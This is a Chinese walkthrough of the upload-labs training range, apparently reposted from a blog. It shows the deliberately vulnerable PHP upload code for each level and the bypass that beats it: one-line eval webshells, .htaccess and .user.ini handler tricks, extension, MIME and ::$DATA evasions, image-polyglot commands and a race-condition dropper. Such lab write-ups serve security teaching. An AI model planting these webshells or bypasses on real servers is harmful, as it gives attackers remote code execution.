Upload-labs(21合集)

本文阅读 14 分钟

由于开发人员在对用户文件上传部分的控制不足或者处理缺陷,导致的用户向服务器上上传可执行的动态脚本文件。 这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。"文件上传"本身没有问题,有问题的是文件上传后,服务器怎么处理文件。

靶场下载地址:https://github.com/c0ny1/upload-labs/
网盘下载地址:https://pan.baidu.com/s/1ecVNi6XgE_yft5GNw-h-6w   提取码:qhsj

1、上传1.php,发现页面只可以上传三种图片格式,判断前端对文件后缀做了限制。 img

2、开发者模式下,发现文件限制的代码在前端,js验证。

//定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";

3、绕过前端验证,将一句话木马1.php文件更改为1.png,然后上传抓包,修改文件名为1.php。上传成功。 img

1、上传1.php,页面提示文件类型错误(MIME错误);查看源码,服务端对文件类型做了限制。 img

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) { 
    if (file_exists(UPLOAD_PATH)) { 
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { 
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            } else { 
                $msg = '上传出错!';
            }
        } else { 
            $msg = '文件类型不正确,请重新上传!';
        }
    } else { 
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

2、上传抓包,将文件类型修改为content-Type允许上传的文件类型;图片的文件类型为:image/图片后缀名,上传成功。 img

1、上传1.php,显示不允许上传asp、aspx、php、jsp后缀文件;查看源码,服务端设置了黑名单,后缀为这四种的都不允许上传。 img

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) { 
    if (file_exists(UPLOAD_PATH)) { 
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) { 
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) { 
                 $is_upload = true;
            } else { 
                $msg = '上传出错!';
            }
        } else { 
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else { 
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

2、我们上传的脚本文件只要不属于这四种就可以,上传1.php5,上传成功。

1、上传1.php,显示此文件不允许上传;查看源码,发现黑名单基本限制了所有的脚本后缀: img

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) { 
    if (file_exists(UPLOAD_PATH)) { 
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) { 
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            } else { 
                $msg = '上传出错!';
            }
        } else { 
            $msg = '此文件不允许上传!';
        }
    } else { 
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

2、在这里.htaccess是没有过滤掉的。(htaccess文件是Apache服务器中的一个配置文件,通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。)。 我们上传一个.htaccess文件,内容如下,根据htaccess的特性,上传目录及其所有子目录中,只要是1.png文件都将会以php文件执行执行。

//将1.png文件作为php格式执行
<FilesMatch "1.png">
    SetHandler application/x-httpd-php
</FilesMatch>

我们上传.htaccess文件,上传成功。 img 3、上传1.png文件,1.png会以php格式执行,如下:

<?php eval(@$_POST['a']); ?>

1、第五个比第四个源码多了一个限制.htaccess的上传

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) { 
    if (file_exists(UPLOAD_PATH)) { 
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) { 
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            } else { 
                $msg = '上传出错!';
            }
        } else { 
            $msg = '此文件类型不允许上传!';
        }
    } else { 
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

2、查看源码我们发现,没有对.user.ini进行过滤。

我们先了解一下.user.ini文件:
自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
两个新的 INI 指令, user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。
user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是 .user.ini。
user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。
使用.user.ini的前提条件:
①服务器脚本语言需要是php
②上传目录下须有可执行的php文件
③服务器使用CGI/FastCGI模式

3、开始绕过。 首先上传.user.ini文件

auto_prepend_file=1.png

接着上传1.png文件,文件内容为:

<?php @eval($_POST['a']);?>

由于.user>.ini的特性是读取用户 INI 文件的间隔时间是300秒 ,所以我们在五分钟后可以对文件进行访问。除此之外,也可以直接重启phpstudy或者修改php.ini,将user_ini.cache_ttl修改为30秒,修改后保存php.ini文件并重启phpstudy。

1、查看源码,限制了各种脚本格式的上传,但是只验证了所有小写的后缀名。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) { 
    if (file_exists(UPLOAD_PATH)) { 
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) { 
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            } else { 
                $msg = '上传出错!';
            }
        } else { 
            $msg = '此文件类型不允许上传!';
        }
    } else { 
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

2、这里,我们可以将1.php文件,修改为1.Php,上传成功。

1.查看源码,对文件名后的.进行删除,但是没有限制文件名中是否包含空格。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) { 
    if (file_exists(UPLOAD_PATH)) { 
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) { 
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) { 
                $is_upload = true;
            } else { 
                $msg = '上传出错!';
            }
        } else { 
            $msg = '此文件不允许上传';
        }
    } else { 
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

2.我们可以上传1.php[空格]。先上传1.php,抓包,将文件名更改为1.php[空格],上传成功。

1、和7相反,对文件名中的空格进行了消除,但是没有去掉.。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) { 
    if (file_exists(UPLOAD_PATH)) { 
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) { 
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            } else { 
                $msg = '上传出错!';
            }
        } else { 
            $msg = '此文件类型不允许上传!';
        }
    } else { 
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

2、windows下xx.jpg[空格] 或xx.jpg.这两类文件都是不允许存在的。windows会默认除去空格、删除文件后缀末尾的点,所以上传一个.php.文件即可绕过。 img

1、查看源码,没有限制::$DATA

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) { 
    if (file_exists(UPLOAD_PATH)) { 
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) { 
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            } else { 
                $msg = '上传出错!';
            }
        } else { 
            $msg = '此文件类型不允许上传!';
        }
    } else { 
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
NTFS交换数据流(Alternate DataStreams,简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流。
简单理解就是:上传1.php::$DATA,服务器会解析为1.php,并且文件内容并不会被清空,依然为1.php。

2、上传1.php,抓包,我们在1.php文件名后加上::$DATA,上传成功,使用工具连接时去掉::$DATA访问。 img

1、查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) { 
    if (file_exists(UPLOAD_PATH)) { 
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) { 
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            } else { 
                $msg = '上传出错!';
            }
        } else { 
            $msg = '此文件类型不允许上传!';
        }
    } else { 
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

2、我们可以使用.php. .进行绕过,我们上传1.php. .,windows特性会自动去除末尾的.。上传成功 img

1、上传1.php5,发现上传成功了,但是后缀名被删除了。 img

2、查看源码,发现使用了str_ireplace()函数,将源码中限制的后缀转为空

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) { 
    if (file_exists(UPLOAD_PATH)) { 
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) { 
            $is_upload = true;
        } else { 
            $msg = '上传出错!';
        }
    } else { 
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
trim() :移除字符串两侧的空白字符或其他预定义字符。
str_ireplace():str_ireplace(find,replace,string,count):替换字符串中的一些值,在string中寻找find替换为replace。

3、但是str_ireplace()函数只对后缀进行一次操作,所以我们可以通过双写进行绕过。我们使用双写后缀.pphphp绕过。 img

1、上传1.php,发现做了白名单限制 img 抓包,发现上传路径暴露了:save_path=…/upload/,且路径是通过get传递。 img

2、查看源码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){ 
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){ 
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){ 
            $is_upload = true;
        } else { 
            $msg = '上传出错!';
        }
    } else{ 
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

3、我们使用00进行截断,

00截断前提:
magic_quotes_gpc = Off
php版本小于5.3.4

img

1、上传1.php,抓包,同样是白名单限制,发现上传路径暴露了:save_path=…/upload/,且路径是通过post参数传递。 img

文件幻数:每种类型文件内容最开头会有一个标志性的头部,这个头部被称为文件幻数。

1、这一题主要检测文件头。

unpack() :从二进制字符串对数据进行解包。
fread():读取打开的文件,函数会在到达指定长度或者读到文件末尾时,停止运行。
function getReailFileType($filename){ 
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){       
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){ 
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){ 
        $msg = "文件未知,上传失败!";
    }else{ 
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){ 
            $is_upload = true;
        } else { 
            $msg = "上传出错!";
        }
    }
}

2、制作图片马,上传

图片马制作方式
Linux下:
cat 1.png 1.php > 2.png
Windows下:
copy 1.png /b + 1.php /a 2.png

img

3、文件包含利用地址: img 4、文件包含

http://192.168.118.110/upload-labs/include.php?file=./upload/9420211014134450.png

1、查看源码,使用getimagesize()函数对上传文件进行校验,跟14一样,采用图片马。

function isImage($filename){ 
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){ 
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){ 
            return $ext;
        }else{ 
            return false;
        }
    }else{ 
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){ 
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){ 
        $msg = "文件未知,上传失败!";
    }else{ 
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){ 
            $is_upload = true;
        } else { 
            $msg = "上传出错!";
        }
    }
}

查看源码,使用exif_imagetype()函数对上传文件进行校验。跟14一样,采用图片马。

function isImage($filename){ 
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) { 
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){ 
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){ 
        $msg = "文件未知,上传失败!";
    }else{ 
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){ 
            $is_upload = true;
        } else { 
            $msg = "上传出错!";
        }
    }
}

1、查看源码,发现对图片进行了二次渲染

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){ 
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){ 
        if(move_uploaded_file($tmpname,$target_path)){ 
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){ 
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{ 
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else { 
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){ 
        if(move_uploaded_file($tmpname,$target_path)){ 
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){ 
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{ 
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else { 
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){ 
        if(move_uploaded_file($tmpname,$target_path)){ 
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){ 
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{ 
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else { 
            $msg = "上传出错!";
        }
    }else{ 
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

2、绕过二次渲染的方法:我们需要找到二次渲染前后,内容没发生改变的地方。 上传图片文件,我们发现图片名称发生了变化。 img 将图片下载下来使用winhex打开,对比上传前后两张图片未发生改变的地方。 将一句话插入其中,即可上传成功。

1、查看源码

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){ 
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){ 
        if(in_array($file_ext,$ext_arr)){ 
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{ 
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{ 
        $msg = '上传出错!';
    }
}

2、可以通过条件竞争进行上传绕过 先上传一个WebShell脚本1.php,1.php的内容是生成一个新的WebShell脚本shell.php,1.php代码如下:

<?php
  fputs(fopen('../shell.php','w'),'<?php @eval($_POST[a])?>');
?>

当1.php上传成功之后,客户端立即访问1.php,则会在服务器当前目录下自动生成shell.php,这时攻击者就完成了通过时间差上传webshell。

同18,可以通过条件竞争进行上传绕过。

1、查看源码,发现使用了move_upload_file()函数。这个函数会忽略文件末尾的/.

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) { 
    if (file_exists(UPLOAD_PATH)) { 
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) { 
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {  
                $is_upload = true;
            }else{ 
                $msg = '上传出错!';
            }
        }else{ 
            $msg = '禁止保存为该类型文件!';
        }

    } else { 
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

2、上传1.php文件,抓包 img 将upload-19.jpg改为upload-19.php/.,重发,上传成功 img

1、查看源码

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){ 
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){ 
        $msg = "禁止上传该类型文件!";
    }else{ 
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) { 
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) { 
            $msg = "禁止上传该后缀文件!";
        }else{ 
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $msg = "文件上传成功!";
                $is_upload = true;
            } else { 
                $msg = "文件上传失败!";
            }
        }
    }
}else{ 
    $msg = "请选择要上传的文件!";
}

2、 img

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/sycamorelg/article/details/111150234
-- 展开阅读全文 --
Web安全—逻辑越权漏洞(BAC)
« 上一篇 03-13
Redis底层数据结构--简单动态字符串
下一篇 » 04-10

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复